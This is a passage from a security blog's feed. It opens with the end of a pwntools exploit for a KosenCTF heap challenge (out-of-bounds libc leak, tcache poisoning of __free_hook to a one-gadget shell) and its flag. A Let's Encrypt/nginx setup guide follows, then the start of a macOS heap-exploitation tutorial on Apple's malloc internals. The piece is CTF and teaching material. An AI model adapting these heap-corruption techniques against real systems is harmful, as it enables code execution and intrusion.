<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">index</span><span class="p">):</span>
<span class="n">go</span><span class="p">(</span><span class="s">"2"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">index</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">delete</span><span class="p">(</span><span class="n">index</span><span class="p">):</span>
<span class="n">go</span><span class="p">(</span><span class="s">"3"</span><span class="p">)</span>
<span class="n">go</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">index</span><span class="p">))</span>
<span class="n">add</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'puts'</span><span class="p">]))</span>
<span class="n">show</span><span class="p">(</span><span class="o">-</span><span class="mi">16</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">t</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span> <span class="o">-</span> <span class="n">l</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'puts'</span><span class="p">]</span>
<span class="n">pp</span><span class="p">(</span><span class="s">'libc'</span><span class="p">)</span>
<span class="n">add</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x602040</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x21</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x10000</span><span class="p">))</span>
<span class="n">pause</span><span class="p">()</span>
<span class="n">delete</span><span class="p">(</span><span class="o">-</span><span class="mi">16</span><span class="p">)</span>
<span class="n">add</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x21</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">+</span><span class="n">l</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__free_hook'</span><span class="p">]))</span>
<span class="n">add</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
<span class="n">add</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">+</span><span class="mh">0x4f322</span><span class="p">))</span>
<span class="n">delete</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">t</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{00b_4nd_tc4ch3_p01s0n1ng}</p>shpik1st placed at Mashiro(@Emilia)Issue Certificate at Let’s Encrypt2019-07-20T00:00:00+00:002019-07-20T00:00:00+00:00http://blog.shpik.kr/ssl,/https,/setting,/certificate/2019/07/20/Issue_Certificate_lets_encrypt<p>Introduce how to issue certificate for encrypting server as ssl.</p>
<p>It is based on <code class="language-plaintext highlighter-rouge">Ubuntu 19.04</code>.</p>
<h2 id="install-lets-encrypt">Install Let’s Encrypt</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/letsencrypt/letsencrypt
./letsencrypt-auto <span class="nt">--help</span>
./letsencrypt-auto certonly <span class="nt">--manual</span>
</code></pre></div></div>
<p>If you try to acme-challenge and use nginx in server, you must change Nginx configure.</p>
<p>Because it try to access <code class="language-plaintext highlighter-rouge">.well-known/acme-challenge</code>.</p>
<p>But, Nginx denies to directory name or file name containing .(dot).</p>
<p>So, change Nginx configure.</p>
<h2 id="acme-challenge">acme-challenge</h2>
<p>After execute command <code class="language-plaintext highlighter-rouge">./letsencrypt-auto certonly --manual</code>, set nginx config.</p>
<p>Here is sample config for nginx.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server {
server_name [domain];
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
location ~ /\.well-known {
#allow all;
root /var/www/letsencrypt;
}
location / {
try_files $uri $uri/ =404;
}
}
</code></pre></div></div>
<p>Nginx restart using execute <code class="language-plaintext highlighter-rouge">service nginx restart</code> or <code class="language-plaintext highlighter-rouge">service nginx reload</code>.</p>
<p>Next, make a folder <code class="language-plaintext highlighter-rouge">.well-known/acme-challenge</code> and make acme-challenge file conatains contents.</p>
<p>In sample case, acme-challenge is <code class="language-plaintext highlighter-rouge">/var/www/letsencrypt/.well-known/acme-challenge/~~~</code>.</p>
<p>Finally you can get certificates for your server at <code class="language-plaintext highlighter-rouge">/etc/letsencrypt/live/[domain]/*.pem</code>.</p>
<h2 id="http2-on-ssl-in-nginx">HTTP2 on SSL in Nginx</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>server{
server_name [domain];
listen 443 ssl http2 default_server;
listen [::]:443 ssl http2 default_server ipv6only=on;
ssl_certificate /etc/letsencrypt/live/[domain]/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/[domain]/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/[domain]/fullchain.pem;
root /var/www/html;
location / {
try_files $uri $uri/ =404;
}
}
</code></pre></div></div>
<p>Nginx restart using execute <code class="language-plaintext highlighter-rouge">service nginx restart</code> or <code class="language-plaintext highlighter-rouge">service nginx reload</code>.</p>
<p>Now, you can access your server as <code class="language-plaintext highlighter-rouge">https</code>.</p>
<h2 id="resource">Resource</h2>
<p>http://blog.kimgihong.com/devlog/AWS_EC2_letsencrypt_SSL</p>shpikIntroduce how to issue certificate for encrypting server as ssl.OSX Heap Exploitation2019-05-09T00:00:00+00:002019-05-09T00:00:00+00:00http://blog.shpik.kr/osx,/macos,/heap,/pwnable/2019/05/09/OSX_Heap_Exploitation<p>Hello, I’m noob.</p>
<p>This paper focuses on tiny size exploit in macOS.</p>
<h2 id="how-to-debug">How to debug?</h2>
<p>Debugging in an OSX environment will require using lldb. <del>(fucking)</del></p>
<p>Therefore i’ll introduce some useful tools, commands and tips for debugging.</p>
<h4 id="useful-tools">Useful tools</h4>
<ul>
<li>lldbinit - can use some gdb command.
<ul>
<li>URL : https://github.com/gdbinit/lldbinit</li>
<li>x/32i, x/32gx, cotext, and so on.</li>
</ul>
</li>
</ul>
<h4 id="command-need-update">Command <del>(need update)</del></h4>
<h5 id="image-list">image list</h5>
<ul>
<li>gdb’s <code class="language-plaintext highlighter-rouge">vmmap</code></li>
<li>Show the map list</li>
<li><strong>shortcuts</strong> : im list</li>
</ul>
<h5 id="memory-read-start-end">memory read [start] [end]</h5>
<ul>
<li>e.g. memory read 0x0 0x10</li>
<li>gdb’s <code class="language-plaintext highlighter-rouge">x/16x 0x0</code></li>
<li>Show the memory value</li>
<li><strong>shortcuts</strong> : mem re 0x0 0x10</li>
</ul>
<h4 id="tip">Tip</h4>
<h5 id="disable-osx-core-dump"><strong>disable OSX Core dump</strong></h5>
<ul>
<li>Core file is very very very big size file. It is located to <code class="language-plaintext highlighter-rouge">/cores</code>.</li>
<li>Comnand : sudo sysctl -w kern.coredump=0</li>
</ul>
<h2 id="malloc">malloc</h2>
<h4 id="type-definition">Type Definition</h4>
<h5 id="_malloc_zone_t--includemallocmalloch">_malloc_zone_t : include/malloc/malloc.h</h5>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="p">{</span>
<span class="cm">/* Only zone implementors should depend on the layout of this structure;
Regular callers should use the access functions below */</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">reserved1</span><span class="p">;</span> <span class="cm">/* RESERVED FOR CFAllocator DO NOT USE */</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">reserved2</span><span class="p">;</span> <span class="cm">/* RESERVED FOR CFAllocator DO NOT USE */</span>
<span class="kt">size_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">size</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span> <span class="cm">/* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */</span>
<span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">malloc</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">calloc</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">num_items</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span> <span class="cm">/* same as malloc, but block returned is set to zero */</span>
<span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">valloc</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span> <span class="cm">/* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">free</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
<span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">realloc</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">destroy</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span> <span class="cm">/* zone is destroyed and all memory reclaimed */</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">zone_name</span><span class="p">;</span>
<span class="cm">/* Optional batch callbacks; these may be NULL */</span>
<span class="kt">unsigned</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">batch_malloc</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">,</span> <span class="kt">void</span> <span class="o">**</span><span class="n">results</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">num_requested</span><span class="p">);</span> <span class="cm">/* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">batch_free</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">**</span><span class="n">to_be_freed</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">num_to_be_freed</span><span class="p">);</span> <span class="cm">/* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */</span>
<span class="k">struct</span> <span class="n">malloc_introspection_t</span> <span class="o">*</span> <span class="n">MALLOC_INTROSPECT_TBL_PTR</span><span class="p">(</span><span class="n">introspect</span><span class="p">);</span>
<span class="kt">unsigned</span> <span class="n">version</span><span class="p">;</span>
<span class="cm">/* aligned memory allocation. The callback may be NULL. Present in version >= 5. */</span>
<span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">memalign</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">alignment</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>
<span class="cm">/* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">free_definite_size</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>
<span class="cm">/* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */</span>
<span class="kt">size_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">pressure_relief</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">goal</span><span class="p">);</span>
<span class="cm">/*
* Checks whether an address might belong to the zone. May be NULL. Present in version >= 10.
* False positives are allowed (e.g. the pointer was freed, or it's in zone space that has
* not yet been allocated. False negatives are not allowed.
*/</span>
<span class="n">boolean_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_ZONE_FN_PTR</span><span class="p">(</span><span class="n">claimed_address</span><span class="p">))(</span><span class="k">struct</span> <span class="n">_malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>
<span class="p">}</span> <span class="n">malloc_zone_t</span><span class="p">;</span>
</code></pre></div></div>
<h5 id="malloc_introspection_t--includemallocmalloch">malloc_introspection_t : include/malloc/malloc.h</h5>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">malloc_introspection_t</span> <span class="p">{</span>
<span class="n">kern_return_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">enumerator</span><span class="p">))(</span><span class="n">task_t</span> <span class="n">task</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">type_mask</span><span class="p">,</span> <span class="n">vm_address_t</span> <span class="n">zone_address</span><span class="p">,</span> <span class="n">memory_reader_t</span> <span class="n">reader</span><span class="p">,</span> <span class="n">vm_range_recorder_t</span> <span class="n">recorder</span><span class="p">);</span> <span class="cm">/* enumerates all the malloc pointers in use */</span>
<span class="kt">size_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">good_size</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">);</span>
<span class="n">boolean_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">check</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span> <span class="cm">/* Consistency checker */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">print</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="n">boolean_t</span> <span class="n">verbose</span><span class="p">);</span> <span class="cm">/* Prints zone */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">log</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">address</span><span class="p">);</span> <span class="cm">/* Enables logging of activity */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">force_lock</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span> <span class="cm">/* Forces locking zone */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">force_unlock</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span> <span class="cm">/* Forces unlocking zone */</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">statistics</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="n">malloc_statistics_t</span> <span class="o">*</span><span class="n">stats</span><span class="p">);</span> <span class="cm">/* Fills statistics */</span>
<span class="n">boolean_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">zone_locked</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span> <span class="cm">/* Are any zone locks held */</span>
<span class="cm">/* Discharge checking. Present in version >= 7. */</span>
<span class="n">boolean_t</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">enable_discharge_checking</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">disable_discharge_checking</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span>
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">discharge</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">memory</span><span class="p">);</span>
<span class="cp">#ifdef __BLOCKS__
</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">enumerate_discharged_pointers</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">,</span> <span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="n">report_discharged</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">memory</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">info</span><span class="p">));</span>
<span class="cp">#else
</span> <span class="kt">void</span> <span class="o">*</span><span class="n">enumerate_unavailable_without_blocks</span><span class="p">;</span>
<span class="cp">#endif </span><span class="cm">/* __BLOCKS__ */</span><span class="cp">
</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">MALLOC_INTROSPECT_FN_PTR</span><span class="p">(</span><span class="n">reinit_lock</span><span class="p">))(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">zone</span><span class="p">);</span> <span class="cm">/* Reinitialize zone locks, called only from atfork_child handler. Present in version >= 9. */</span>
<span class="p">}</span> <span class="n">malloc_introspection_t</span><span class="p">;</span>
</code></pre></div></div>
<h4 id="environment-for-malloc">environment for malloc</h4>
<ul>
<li>MallocGuardEdges : True/False</li>
<li>MallocStackLogging : lite/malloc/vm/vmlite</li>
<li>MallocStackLoggingNoCompact</li>
<li>MallocScribble : True/False</li>
<li>MallocErrorAbort : True/False</li>
<li>MallocTracing : True/False</li>
<li>MallocCorruptionAbort : True/False (only 64bit processor)</li>
<li>MallocCheckHeapStart : -1,0,integer</li>
<li>MallocCheckHeapEach : -1,0,integer</li>
<li>MallocCheckHeapAbort : True/False</li>
<li>MallocCheckHeapSleep : Integer</li>
<li>MallocMaxMagazines : Integer</li>
<li>MallocRecircRetainedRegions : Positive Integer</li>
<li>MallocHelp : True/False</li>
</ul>
<h4 id="malloc_zone">malloc_zone</h4>
<p><code class="language-plaintext highlighter-rouge">malloc_zone</code> has <code class="language-plaintext highlighter-rouge">R</code> permission.</p>
<p>But, it has <code class="language-plaintext highlighter-rouge">R/W</code> permission during <em>_malloc_initialize</em>, <em>malloc_zone_unregister</em>,<em>malloc_set_zone_name</em>.(can rc? maybe not.)</p>
<p>In general, initialize is execute only one time. Then <em>malloc_set_zone_name</em> and <em>malloc_zone_unregister</em> are? I dont know :fearful:</p>
<p>Here is source code about permission :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span>
<span class="nf">_malloc_initialize</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">context</span> <span class="n">__unused</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// make the default first, for efficiency</span>
<span class="kt">unsigned</span> <span class="n">protect_size</span> <span class="o">=</span> <span class="n">malloc_num_zones_allocated</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">malloc_zone_t</span> <span class="o">*</span><span class="p">);</span>
<span class="n">malloc_zone_t</span> <span class="o">*</span><span class="n">hold</span> <span class="o">=</span> <span class="n">malloc_zones</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="n">hold</span><span class="o">-></span><span class="n">zone_name</span> <span class="o">&&</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">hold</span><span class="o">-></span><span class="n">zone_name</span><span class="p">,</span> <span class="n">DEFAULT_MALLOC_ZONE_STRING</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">malloc_set_zone_name</span><span class="p">(</span><span class="n">hold</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">mprotect</span><span class="p">(</span><span class="n">malloc_zones</span><span class="p">,</span> <span class="n">protect_size</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">);</span>
<span class="n">malloc_zones</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">malloc_zones</span><span class="p">[</span><span class="n">n</span><span class="p">];</span>
<span class="n">malloc_zones</span><span class="p">[</span><span class="n">n</span><span class="p">]</span> <span class="o">=</span> <span class="n">hold</span><span class="p">;</span>
<span class="n">mprotect</span><span class="p">(</span><span class="n">malloc_zones</span><span class="p">,</span> <span class="n">protect_size</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="malloc-size">malloc size</h4>
<p>In ptmalloc2, malloc consists of fastbin, smallbin, largebin, unsorted depending on size.</p>
<p>OSX consists of Tiny, Small, Large depending on size.</p>
<ul>
<li>Tiny
<ul>
<li>1008 bytes > size (in 64bits)</li>
<li>496 bytes > size (in 32bits)</li>
</ul>
</li>
<li>Small
<ul>
<li>15KB > size > Tiny (in less than 1gb memory)</li>
<li>127KB > size > Tiny (else)</li>
</ul>
</li>
<li>Large
<ul>
<li>size > Small</li>
</ul>
</li>
</ul>
<h4 id="tiny-malloc">tiny malloc</h4>
<p>If exist freelist, then it returns at freelist from <code class="language-plaintext highlighter-rouge">tiny_malloc_from_free_list</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span>
<span class="nf">tiny_malloc_from_free_list</span><span class="p">(</span><span class="n">rack_t</span> <span class="o">*</span><span class="n">rack</span><span class="p">,</span> <span class="n">magazine_t</span> <span class="o">*</span><span class="n">tiny_mag_ptr</span><span class="p">,</span> <span class="n">mag_index_t</span> <span class="n">mag_index</span><span class="p">,</span> <span class="n">msize_t</span> <span class="n">msize</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">tiny_free_list_t</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span>
<span class="n">msize_t</span> <span class="n">this_msize</span><span class="p">;</span>
<span class="n">grain_t</span> <span class="n">slot</span> <span class="o">=</span> <span class="n">msize</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">free_list_t</span> <span class="o">*</span><span class="n">free_list</span> <span class="o">=</span> <span class="n">tiny_mag_ptr</span><span class="o">-></span><span class="n">mag_free_list</span><span class="p">;</span>
<span class="n">free_list_t</span> <span class="o">*</span><span class="n">the_slot</span> <span class="o">=</span> <span class="n">free_list</span> <span class="o">+</span> <span class="n">slot</span><span class="p">;</span>
<span class="n">tiny_free_list_t</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="n">free_list_t</span> <span class="o">*</span><span class="n">limit</span><span class="p">;</span>
<span class="cp">#if defined(__LP64__)
</span> <span class="kt">uint64_t</span> <span class="n">bitmap</span><span class="p">;</span>
<span class="cp">#else
</span> <span class="kt">uint32_t</span> <span class="n">bitmap</span><span class="p">;</span>
<span class="cp">#endif
</span> <span class="n">msize_t</span> <span class="n">leftover_msize</span><span class="p">;</span>
<span class="n">tiny_free_list_t</span> <span class="o">*</span><span class="n">leftover_ptr</span><span class="p">;</span>
<span class="p">...</span> <span class="p">...</span>
<span class="c1">// Look for an exact match by checking the freelist for this msize.</span>
<span class="c1">//</span>
<span class="n">ptr</span> <span class="o">=</span> <span class="n">the_slot</span><span class="o">-></span><span class="n">p</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptr</span><span class="p">)</span> <span class="p">{</span>
<span class="n">next</span> <span class="o">=</span> <span class="n">free_list_unchecksum_ptr</span><span class="p">(</span><span class="n">rack</span><span class="p">,</span> <span class="o">&</span><span class="n">ptr</span><span class="o">-></span><span class="n">next</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">next</span><span class="o">-></span><span class="n">previous</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-></span><span class="n">previous</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">BITMAPV_CLR</span><span class="p">(</span><span class="n">tiny_mag_ptr</span><span class="o">-></span><span class="n">mag_bitmap</span><span class="p">,</span> <span class="n">slot</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">the_slot</span><span class="o">-></span><span class="n">p</span> <span class="o">=</span> <span class="n">next</span><span class="p">;</span>
<span class="n">this_msize</span> <span class="o">=</span> <span class="n">msize</span><span class="p">;</span>
<span class="cp">#if DEBUG_MALLOC
</span> <span class="k">if</span> <span class="p">(</span><span class="n">LOG</span><span class="p">(</span><span class="n">szone</span><span class="p">,</span> <span class="n">ptr</span><span class="p">))</span> <span class="p">{</span>
<span class="n">malloc_report</span><span class="p">(</span><span class="n">ASL_LEVEL_INFO</span><span class="p">,</span> <span class="s">"in tiny_malloc_from_free_list(), exact match ptr=%p, this_msize=%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptr</span><span class="p">,</span> <span class="n">this_msize</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">#endif
</span> <span class="k">goto</span> <span class="n">return_tiny_alloc</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>OSX malloc exist only one security check logic.
checksum is checked by <code class="language-plaintext highlighter-rouge">free_list_unchecksum_ptr</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">INLINE</span> <span class="kt">void</span> <span class="o">*</span>
